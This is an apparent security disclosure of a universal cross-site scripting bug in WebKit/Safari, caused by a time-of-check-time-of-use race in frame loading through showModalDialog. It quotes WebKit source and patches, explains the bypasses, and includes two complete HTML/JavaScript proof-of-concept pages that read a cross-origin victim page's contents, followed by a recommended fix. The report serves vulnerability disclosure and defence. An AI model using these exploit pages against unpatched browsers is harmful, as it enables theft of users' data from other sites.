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BACKGROUND As lokihardt@ has demonstrated in https://bugs.chromium.org/p/project-zero/issues/detail?id=1121, WebKit's support of the obsolete <code>showModalDialog</code> method gives an attacker the ability to perform synchronous cross-origin page loads. In certain conditions, this might lead to time-of-check-time-of-use bugs in the code responsible for enforcing the Same-Origin Policy. In particular, the original bug exploited a TOCTOU bug in <code>SubframeLoader::requestFrame</code> to achieve UXSS. (copied from lokihardt's report) </code><code> bool SubframeLoader::requestFrame(HTMLFrameOwnerElement& ownerElement, const String& urlString, const AtomicString& frameName, LockHistory lockHistory, LockBackForwardList lockBackForwardList) { // Support for <frame src="javascript:string"> URL scriptURL; URL url; if (protocolIsJavaScript(urlString)) { scriptURL = completeURL(urlString); // completeURL() encodes the URL. url = blankURL(); } else url = completeURL(urlString); if (shouldConvertInvalidURLsToBlank() && !url.isValid()) url = blankURL(); Frame* frame = loadOrRedirectSubframe(ownerElement, url, frameName, lockHistory, lockBackForwardList); <<------- in here, the synchronous page load is made. if (!frame) return false; if (!scriptURL.isEmpty()) frame->script().executeIfJavaScriptURL(scriptURL); <<----- boooom return true; } </code><code> The bug was fixed by inserting an extra access check right in front of the <code>executeIfJavaScriptURL call. </code><code> -if (!scriptURL.isEmpty()) +if (!scriptURL.isEmpty() && ownerElement.isURLAllowed(scriptURL)) frame->script().executeIfJavaScriptURL(scriptURL); </code><code> It has stopped the original attack, but a year later https://bugs.webkit.org/show_bug.cgi?id=187203 was reported, which abused the HTML parser to bypass the added check. The problem was that isURLAllowed</code> didn't block <code>javascript:</code> URIs when the JavaScript execution context stack was empty, i.e. when the <code>requestFrame</code> call was originating from the parser, so the exploit just needed to make the parser insert an <code>iframe</code> element with a <code>javascript:</code> URI and use its <code>onload</code> handler to load a cross-origin page inside <code>loadOrRedirectSubframe</code>. As a result, another check has been added (see the comment below): </code><code> +bool hasExistingFrame = ownerElement.contentFrame(); Frame* frame = loadOrRedirectSubframe(ownerElement, url, frameName, lockHistory, lockBackForwardList); if (!frame) return false; -if (!scriptURL.isEmpty() && ownerElement.isURLAllowed(scriptURL)) +// If we create a new subframe then an empty document is loaded into it synchronously and may +// cause script execution (say, via a DOM load event handler) that can do anything, including +// navigating the subframe. We only want to evaluate scriptURL if the frame has not been navigated. +bool canExecuteScript = hasExistingFrame || (frame->loader().documentLoader() && frame->loader().documentLoader()->originalURL() == blankURL()); +if (!scriptURL.isEmpty() && canExecuteScript && ownerElement.isURLAllowed(scriptURL)) frame->script().executeIfJavaScriptURL(scriptURL); </code><code> VULNERABILITY DETAILS The second fix relies on the assumption that the parser can't trigger a <code>requestFrame</code> call for an iframe</code> element with an existing content frame. However, due to the way the node insertion algorithm is implemented, it's possible to run JavaScript while the element's insertion is still in progress: https://trac.webkit.org/browser/webkit/trunk/Source/WebCore/dom/ContainerNode.cpp#L185 </code><code> static ALWAYS_INLINE void executeNodeInsertionWithScriptAssertion(ContainerNode& containerNode, Node& child, ContainerNode::ChildChangeSource source, ReplacedAllChildren replacedAllChildren, DOMInsertionWork doNodeInsertion) { NodeVector postInsertionNotificationTargets; { ScriptDisallowedScope::InMainThread scriptDisallowedScope; if (UNLIKELY(containerNode.isShadowRoot() || containerNode.isInShadowTree())) containerNode.containingShadowRoot()->resolveSlotsBeforeNodeInsertionOrRemoval(); doNodeInsertion(); ChildListMutationScope(containerNode).childAdded(child); postInsertionNotificationTargets = notifyChildNodeInserted(containerNode, child); } [...] ASSERT(ScriptDisallowedScope::InMainThread::isEventDispatchAllowedInSubtree(child)); for (auto& target : postInsertionNotificationTargets) target->didFinishInsertingNode(); [...] </code><code> Note that <code>HTMLFrameElementBase::didFinishInsertingNode</code> eventually calls <code>requestFrame</code>. So, if a subtree which is being inserted contains multiple <code>iframe</code> elements, the first one can act as a trigger for the JavaScript code that creates a content frame for another element right before its requestFrame</code> method is executed to bypass the <code>canExecuteScript</code> check. <code>isURLAllowed</code> again can be tricked with the help of the HTML parser. It's also worth noting that the <code>showModalDialog</code> method has to be triggered by a user gesture. On the other hand, an attacker can't just wrap the exploit in a <code>click</code> event handler, as it would put an execution context on the stack and make the <code>isURLAllowed</code> check fail. One way to overcome this is to save a gesture token by performing an asynchronous load of a <code>javascript:</code> URI. VERSION Safari 12.0.3 (14606.4.5) WebKit r243998 REPRODUCTION CASE <body> <h1>Click anywhere</h1> <script> let counter = 0; function run() { if (++counter == 2) { parent_frame = frame.contentDocument.querySelector("iframe"); frame1 = parent_frame.appendChild(document.createElement("iframe")); frame2 = parent_frame.appendChild(document.createElement("iframe")); frame1.src = "javascript:top.runChild()"; } } let child_counter = 0; function runChild() { if (++child_counter == 2) { parent_frame.appendChild(frame2); a = frame2.contentDocument.createElement("a"); a.href = cache_frame.src; a.click(); showModalDialog(URL.createObjectURL(new Blob([<code> <script> let intervalID = setInterval(() => { try { opener.frame.document.foo; } catch (e) { clearInterval(intervalID); window.close(); } }, 100); </scr</code> + "ipt>"], {type: "text/html"}))); frame2.src = "javascript:alert(document.documentElement.outerHTML)"; } } onclick = _ => { frame = document.body.appendChild(document.createElement("iframe")); frame.contentWindow.location = <code>javascript:'<b><p><iframe + <code> src="javascript:top.run()"></iframe></b></p>'</code>; } cache_frame = document.body.appendChild(document.createElement("iframe")); cache_frame.src = "http://example.com/"; // victim page URL cache_frame.style.display = "none"; </script> </body> From WebKit's bugtracker: Unfortunately, even though the patch from https://trac.webkit.org/changeset/244892/webkit has blocked the original repro case because it relies on executing javascript: URIs synchronously, the underlying issue is still not fixed. Currently, <code>requestFrame</code> is implemented as follows: bool SubframeLoader::requestFrame(HTMLFrameOwnerElement& ownerElement, const String& urlString, const AtomicString& frameName, LockHistory lockHistory, LockBackForwardList lockBackForwardList) { [...] Frame* frame = loadOrRedirectSubframe(ownerElement, url, frameName, lockHistory, lockBackForwardList); // ***1*** if (!frame) return false; if (!scriptURL.isEmpty() && ownerElement.isURLAllowed(scriptURL)) { // FIXME: Some sites rely on the javascript:'' loading synchronously, which is why we have this special case. // Blink has the same workaround (https://bugs.chromium.org/p/chromium/issues/detail?id=923585). if (urlString == "javascript:''" || urlString == "javascript:\"\"") frame->script().executeIfJavaScriptURL(scriptURL); else frame->navigationScheduler().scheduleLocationChange(ownerElement.document(), ownerElement.document().securityOrigin(), scriptURL, m_frame.loader().outgoingReferrer(), lockHistory, lockBackForwardList, stopDelayingLoadEvent.release()); // ***2*** } return true; } By the time the subframe loader schedules a JS URI load in [2], the frame might already contain a cross-origin victim page loaded in [1], so the JS URI might get executed in the cross-origin context. Updated repro: <body> <h1>Click anywhere</h1> <script> let counter = 0; function run(event) { ++counter; if (counter == 2) { event.target.src = "javascript:alert(document.documentElement.outerHTML)"; } else if (counter == 3) { frame = event.target; a = frame.contentDocument.createElement("a"); a.href = cache_frame.src; a.click(); showModalDialog(URL.createObjectURL(new Blob([<code> <script> let intervalID = setInterval(() => { try { opener.frame.document.foo; } catch (e) { clearInterval(intervalID); window.close(); } }, 100); </scr</code> + "ipt>"], {type: "text/html"}))); } } onclick = _ => { frame = document.body.appendChild(document.createElement("iframe")); frame.contentWindow.location = <code>javascript:'<b><p><iframe + <code> onload="top.run(event)"></iframe></b></p>'</code>; } cache_frame = document.body.appendChild(document.createElement("iframe")); cache_frame.src = "http://example.com/"; // victim page URL cache_frame.style.display = "none"; </script> </body> I'd recommend you consider applying a fix similar to the one that the Blink team has in https://cs.chromium.org/chromium/src/third_party/blink/renderer/core/html/html_frame_element_base.cc?rcl=d3f22423d512b45466f1694020e20da9e0c6ee6a&l=62, i.e. using the frame's owner document as a fallback for the security check. |